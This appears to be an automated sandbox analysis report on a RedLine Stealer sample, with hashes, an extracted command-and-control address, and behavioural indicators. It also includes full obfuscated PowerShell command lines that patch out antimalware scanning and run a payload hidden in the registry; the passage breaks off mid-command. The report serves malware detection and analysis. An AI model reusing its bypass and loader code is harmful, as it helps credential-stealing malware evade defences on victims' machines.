Analysis
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max time kernel
44s -
max time network
85s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
16/01/2023, 13:30
Static task
static1
Behavioral task
behavioral1
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
77d29818be0d01c38545baa0bd4551c6853c224b.exe
Resource
win10v2004-20220901-en
General
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Target
77d29818be0d01c38545baa0bd4551c6853c224b.exe
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Size
365KB
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MD5
343adbd49e24d1bdec30f634f4055da8
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SHA1
77d29818be0d01c38545baa0bd4551c6853c224b
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SHA256
404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c
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SHA512
4c6831539aef807c7cb4875306e5fecc06b769924e0a1f80a5316f194a5235ec9e904c932b3ec4021e7ef2237bc2dba3db47a8a1cb20244c67c9fa1e6d88298f
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SSDEEP
6144:SVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO1DAjWbc:SRDF2BpjLQLsvBP0+ecyEY37C8P
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/4488-174-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1216 created 652 1216 SmartDefRun.exe 31 PID 1216 created 652 1216 SmartDefRun.exe 31 PID 1216 created 652 1216 SmartDefRun.exe 31 PID 1216 created 652 1216 SmartDefRun.exe 31 PID 5032 created 588 5032 powershell.EXE 5 -
Blocklisted process makes network request 1 IoCs
flow pid Process 13 1392 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 1868 C4Loader.exe 856 new2.exe 1388 SysApp.exe 1216 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1724 set thread context of 1016 1724 77d29818be0d01c38545baa0bd4551c6853c224b.exe 84 PID 856 set thread context of 4488 856 new2.exe 94 PID 1216 set thread context of 3524 1216 SmartDefRun.exe 122 PID 5032 set thread context of 3780 5032 powershell.EXE 127 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2172 sc.exe 4028 sc.exe 3120 sc.exe 224 sc.exe 1904 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 516 1724 WerFault.exe 81 1404 856 WerFault.exe 90 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE -
Suspicious behavior: EnumeratesProcesses 38 IoCs
pid Process 1392 powershell.exe 1392 powershell.exe 1388 SysApp.exe 1388 SysApp.exe 1388 SysApp.exe 1388 SysApp.exe 1388 SysApp.exe 1388 SysApp.exe 1388 SysApp.exe 1388 SysApp.exe 1388 SysApp.exe 1388 SysApp.exe 4488 vbc.exe 1216 SmartDefRun.exe 1216 SmartDefRun.exe 2532 powershell.exe 2532 powershell.exe 1216 SmartDefRun.exe 1216 SmartDefRun.exe 1216 SmartDefRun.exe 1216 SmartDefRun.exe 2392 powershell.exe 2392 powershell.exe 1216 SmartDefRun.exe 1216 SmartDefRun.exe 5032 powershell.EXE 3788 powershell.EXE 5032 powershell.EXE 3788 powershell.EXE 5032 powershell.EXE 3780 dllhost.exe 3780 dllhost.exe 3780 dllhost.exe 3780 dllhost.exe 3780 dllhost.exe 3780 dllhost.exe 3780 dllhost.exe 3780 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1392 powershell.exe Token: SeDebugPrivilege 4488 vbc.exe Token: SeDebugPrivilege 2532 powershell.exe Token: SeDebugPrivilege 2392 powershell.exe Token: SeIncreaseQuotaPrivilege 2392 powershell.exe Token: SeSecurityPrivilege 2392 powershell.exe Token: SeTakeOwnershipPrivilege 2392 powershell.exe Token: SeLoadDriverPrivilege 2392 powershell.exe Token: SeSystemProfilePrivilege 2392 powershell.exe Token: SeSystemtimePrivilege 2392 powershell.exe Token: SeProfSingleProcessPrivilege 2392 powershell.exe Token: SeIncBasePriorityPrivilege 2392 powershell.exe Token: SeCreatePagefilePrivilege 2392 powershell.exe Token: SeBackupPrivilege 2392 powershell.exe Token: SeRestorePrivilege 2392 powershell.exe Token: SeShutdownPrivilege 2392 powershell.exe Token: SeDebugPrivilege 2392 powershell.exe Token: SeSystemEnvironmentPrivilege 2392 powershell.exe Token: SeRemoteShutdownPrivilege 2392 powershell.exe Token: SeUndockPrivilege 2392 powershell.exe Token: SeManageVolumePrivilege 2392 powershell.exe Token: 33 2392 powershell.exe Token: 34 2392 powershell.exe Token: 35 2392 powershell.exe Token: 36 2392 powershell.exe Token: SeIncreaseQuotaPrivilege 2392 powershell.exe Token: SeSecurityPrivilege 2392 powershell.exe Token: SeTakeOwnershipPrivilege 2392 powershell.exe Token: SeLoadDriverPrivilege 2392 powershell.exe Token: SeSystemProfilePrivilege 2392 powershell.exe Token: SeSystemtimePrivilege 2392 powershell.exe Token: SeProfSingleProcessPrivilege 2392 powershell.exe Token: SeIncBasePriorityPrivilege 2392 powershell.exe Token: SeCreatePagefilePrivilege 2392 powershell.exe Token: SeBackupPrivilege 2392 powershell.exe Token: SeRestorePrivilege 2392 powershell.exe Token: SeShutdownPrivilege 2392 powershell.exe Token: SeDebugPrivilege 2392 powershell.exe Token: SeSystemEnvironmentPrivilege 2392 powershell.exe Token: SeRemoteShutdownPrivilege 2392 powershell.exe Token: SeUndockPrivilege 2392 powershell.exe Token: SeManageVolumePrivilege 2392 powershell.exe Token: 33 2392 powershell.exe Token: 34 2392 powershell.exe Token: 35 2392 powershell.exe Token: 36 2392 powershell.exe Token: SeIncreaseQuotaPrivilege 2392 powershell.exe Token: SeSecurityPrivilege 2392 powershell.exe Token: SeTakeOwnershipPrivilege 2392 powershell.exe Token: SeLoadDriverPrivilege 2392 powershell.exe Token: SeSystemProfilePrivilege 2392 powershell.exe Token: SeSystemtimePrivilege 2392 powershell.exe Token: SeProfSingleProcessPrivilege 2392 powershell.exe Token: SeIncBasePriorityPrivilege 2392 powershell.exe Token: SeCreatePagefilePrivilege 2392 powershell.exe Token: SeBackupPrivilege 2392 powershell.exe Token: SeRestorePrivilege 2392 powershell.exe Token: SeShutdownPrivilege 2392 powershell.exe Token: SeDebugPrivilege 2392 powershell.exe Token: SeSystemEnvironmentPrivilege 2392 powershell.exe Token: SeRemoteShutdownPrivilege 2392 powershell.exe Token: SeUndockPrivilege 2392 powershell.exe Token: SeManageVolumePrivilege 2392 powershell.exe Token: 33 2392 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1724 wrote to memory of 800 1724 77d29818be0d01c38545baa0bd4551c6853c224b.exe 83 PID 1724 wrote to memory of 800 1724 77d29818be0d01c38545baa0bd4551c6853c224b.exe 83 PID 1724 wrote to memory of 800 1724 77d29818be0d01c38545baa0bd4551c6853c224b.exe 83 PID 1724 wrote to memory of 1016 1724 77d29818be0d01c38545baa0bd4551c6853c224b.exe 84 PID 1724 wrote to memory of 1016 1724 77d29818be0d01c38545baa0bd4551c6853c224b.exe 84 PID 1724 wrote to memory of 1016 1724 77d29818be0d01c38545baa0bd4551c6853c224b.exe 84 PID 1724 wrote to memory of 1016 1724 77d29818be0d01c38545baa0bd4551c6853c224b.exe 84 PID 1724 wrote to memory of 1016 1724 77d29818be0d01c38545baa0bd4551c6853c224b.exe 84 PID 1016 wrote to memory of 1392 1016 vbc.exe 87 PID 1016 wrote to memory of 1392 1016 vbc.exe 87 PID 1016 wrote to memory of 1392 1016 vbc.exe 87 PID 1392 wrote to memory of 1868 1392 powershell.exe 89 PID 1392 wrote to memory of 1868 1392 powershell.exe 89 PID 1392 wrote to memory of 1868 1392 powershell.exe 89 PID 1392 wrote to memory of 856 1392 powershell.exe 90 PID 1392 wrote to memory of 856 1392 powershell.exe 90 PID 1392 wrote to memory of 856 1392 powershell.exe 90 PID 1392 wrote to memory of 1388 1392 powershell.exe 92 PID 1392 wrote to memory of 1388 1392 powershell.exe 92 PID 1392 wrote to memory of 1388 1392 powershell.exe 92 PID 1392 wrote to memory of 1216 1392 powershell.exe 93 PID 1392 wrote to memory of 1216 1392 powershell.exe 93 PID 856 wrote to memory of 4488 856 new2.exe 94 PID 856 wrote to memory of 4488 856 new2.exe 94 PID 856 wrote to memory of 4488 856 new2.exe 94 PID 856 wrote to memory of 4488 856 new2.exe 94 PID 856 wrote to memory of 4488 856 new2.exe 94 PID 380 wrote to memory of 1904 380 cmd.exe 112 PID 380 wrote to memory of 1904 380 cmd.exe 112 PID 380 wrote to memory of 2172 380 cmd.exe 113 PID 380 wrote to memory of 2172 380 cmd.exe 113 PID 380 wrote to memory of 4028 380 cmd.exe 114 PID 380 wrote to memory of 4028 380 cmd.exe 114 PID 380 wrote to memory of 3120 380 cmd.exe 115 PID 380 wrote to memory of 3120 380 cmd.exe 115 PID 380 wrote to memory of 224 380 cmd.exe 116 PID 380 wrote to memory of 224 380 cmd.exe 116 PID 380 wrote to memory of 1360 380 cmd.exe 117 PID 380 wrote to memory of 1360 380 cmd.exe 117 PID 380 wrote to memory of 308 380 cmd.exe 118 PID 380 wrote to memory of 308 380 cmd.exe 118 PID 380 wrote to memory of 1588 380 cmd.exe 119 PID 380 wrote to memory of 1588 380 cmd.exe 119 PID 380 wrote to memory of 4492 380 cmd.exe 120 PID 380 wrote to memory of 4492 380 cmd.exe 120 PID 380 wrote to memory of 4496 380 cmd.exe 121 PID 380 wrote to memory of 4496 380 cmd.exe 121 PID 1216 wrote to memory of 3524 1216 SmartDefRun.exe 122 PID 5032 wrote to memory of 3780 5032 powershell.EXE 127 PID 5032 wrote to memory of 3780 5032 powershell.EXE 127 PID 5032 wrote to memory of 3780 5032 powershell.EXE 127 PID 5032 wrote to memory of 3780 5032 powershell.EXE 127 PID 5032 wrote to memory of 3780 5032 powershell.EXE 127 PID 5032 wrote to memory of 3780 5032 powershell.EXE 127 PID 5032 wrote to memory of 3780 5032 powershell.EXE 127 PID 5032 wrote to memory of 3780 5032 powershell.EXE 127 PID 5032 wrote to memory of 3780 5032 powershell.EXE 127 PID 3780 wrote to memory of 588 3780 dllhost.exe 5 PID 3780 wrote to memory of 664 3780 dllhost.exe 7 PID 3780 wrote to memory of 952 3780 dllhost.exe 12 PID 3780 wrote to memory of 328 3780 dllhost.exe 11 PID 3780 wrote to memory of 444 3780 dllhost.exe 14 PID 3780 wrote to memory of 408 3780 dllhost.exe 80 PID 3780 wrote to memory of 992 3780 dllhost.exe 15
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:588
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:328
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d5b92f53-0ca8-4378-9bd3-a8a0ba4116a4}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3780
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:992
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1116
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2888
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:eATBXGSkaPcH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DwdeszqRoLWlaT,[Parameter(Position=1)][Type]$tXIWfkFgCN)$ySDgICfljGV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+'l'+''+[Char](101)+''+[Char](99)+''+'t'+''+'e'+''+[Char](100)+'D'+'e'+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'or'+[Char](121)+'M'+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+[Char](108)+''+'e'+'g'+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+'iCl'+[Char](97)+''+[Char](115)+''+'s'+''+','+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$ySDgICfljGV.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+'p'+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+''+'i'+''+'d'+''+[Char](101)+''+'B'+'yS'+'i'+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$DwdeszqRoLWlaT).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');$ySDgICfljGV.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+'k'+'e'+'',''+'P'+''+[Char](117)+'b'+'l'+''+'i'+''+[Char](99)+''+','+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+'g'+','+[Char](78)+''+'e'+'wS'+'l'+''+[Char](111)+''+[Char](116)+''+','+'V'+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$tXIWfkFgCN,$DwdeszqRoLWlaT).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+'m'+[Char](101)+',M'+[Char](97)+'n'+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $ySDgICfljGV.CreateType();}$YqfwDMrbcFhxE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+'ste'+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+'l')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n3'+[Char](50)+''+[Char](46)+'U'+'n'+''+[Char](115)+'a'+'f'+''+'e'+''+[Char](89)+''+[Char](113)+''+'f'+''+'w'+''+[Char](68)+''+'M'+'r'+[Char](98)+''+[Char](99)+''+[Char](70)+'h'+'x'+''+'E'+'');$GRXCFXMlhvCXho=$YqfwDMrbcFhxE.GetMethod('GR'+[Char](88)+'C'+[Char](70)+'X'+[Char](77)+''+[Char](108)+''+[Char](104)+''+[Char](118)+''+'C'+'X'+[Char](104)+''+[Char](111)+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'t'+''+[Char](97)+''+'t'+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$apXdVdSwtFMhDxYdDjN=eATBXGSkaPcH @([String])([IntPtr]);$KXjfHCJDDAIFmnuftqTTgA=eATBXGSkaPcH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jmurSYHBABg=$YqfwDMrbcFhxE.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'M'+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'rne'+[Char](108)+''+[Char](51)+'2'+[Char](46)+'d'+'l'+''+[Char](108)+'')));$kYyMePYThxdsdf=$GRXCFXMlhvCXho.Invoke($Null,@([Object]$jmurSYHBABg,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+'a'+'r'+[Char](121)+'A')));$wyNiRIDnzDkUrPmOI=$GRXCFXMlhvCXho.Invoke($Null,@([Object]$jmurSYHBABg,[Object](''+'V'+''+'i'+'r'+'t'+''+'u'+'a'+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$hvuGFne=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kYyMePYThxdsdf,$apXdVdSwtFMhDxYdDjN).Invoke(''+'a'+''+[Char](109)+''+'s'+'i.'+'d'+''+[Char](108)+''+[Char](108)+'');$YfvxeZToPrhfTWUve=$GRXCFXMlhvCXho.Invoke($Null,@([Object]$hvuGFne,[Object](''+'A'+''+[Char](109)+'s'+'i'+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+'B'+''+'u'+''+'f'+''+'f'+''+[Char](101)+'r')));$RBIHvimBiD=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wyNiRIDnzDkUrPmOI,$KXjfHCJDDAIFmnuftqTTgA).Invoke($YfvxeZToPrhfTWUve,[uint32]8,4,[ref]$RBIHvimBiD);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$YfvxeZToPrhfTWUve,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wyNiRIDnzDkUrPmOI,$KXjfHCJDDAIFmnuftqTTgA).Invoke($YfvxeZToPrhfTWUve,[uint32]8,0x20,[ref]$RBIHvimBiD);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+'T'+''+'W'+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+'a'+[Char](108)+''+'e'+''+'r'+''+'s'+'tage'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3788 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4032
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:TpbnnbPovKfk{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OJrexrmKFOrNKn,[Parameter(Position=1)][Type]$hRTEuRpCaF)$xdhxAqmMdch=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+[Char](108)+''+'e'+'c'+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+''+'l'+''+'e'+'g'+[Char](97)+''+'t'+''+[Char](101)+''+'T'+''+[Char](121)+'p'+'e'+'','C'+'l'+''+[Char](97)+''+'s'+'s'+','+''+[Char](80)+'u'+'b'+''+'l'+''+'i'+''+[Char](99)+',S'+[Char](101)+'al'+[Char](101)+''+'d'+''+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+''+[Char](44)+''+'A'+''+[Char](117)+''+'t'+''+'o'+''+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$xdhxAqmMdch.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+[Char](105)+'alN'+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+'Hi'+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+'S'+''+[C